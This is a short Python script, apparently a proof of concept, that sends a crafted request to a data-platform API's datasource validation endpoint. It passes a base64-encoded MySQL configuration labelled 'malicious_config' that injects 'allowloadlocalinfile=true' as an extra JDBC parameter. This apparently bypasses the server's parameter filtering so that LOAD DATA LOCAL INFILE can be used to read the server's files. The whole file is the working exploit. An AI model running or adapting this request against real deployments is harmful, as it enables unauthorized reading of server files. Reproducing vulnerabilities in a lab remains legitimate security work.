import base64, json, urllib.request, sys

port = sys.argv[1]
url = f"http://127.0.0.1:{port}/de2api/datasource/validate"

malicious_config = {
    "type": "mysql",
    "host": "127.0.0.1",
    "port": 3306,
    "dataBase": "test",
    "extraParams": "allowloadlocalinfile=true",
    "illegalParameters": []
}

payload = {
    "type": "mysql",
    "name": "evil-ds",
    "nodeType": "datasource",
    "action": "validate",
    "configuration": base64.b64encode(json.dumps(malicious_config).encode()).decode()
}

req = urllib.request.Request(
    url,
    data=json.dumps(payload).encode(),
    headers={"Content-Type": "application/json"},
    method="POST"
)

try:
    with urllib.request.urlopen(req, timeout=15) as resp:
        body = resp.read().decode()
        print(body)
        sys.exit(0)
except urllib.error.HTTPError as e:
    body = e.read().decode()
    print(body)
    sys.exit(0)
except Exception as e:
    print(json.dumps({"error": str(e)}))
    sys.exit(1)
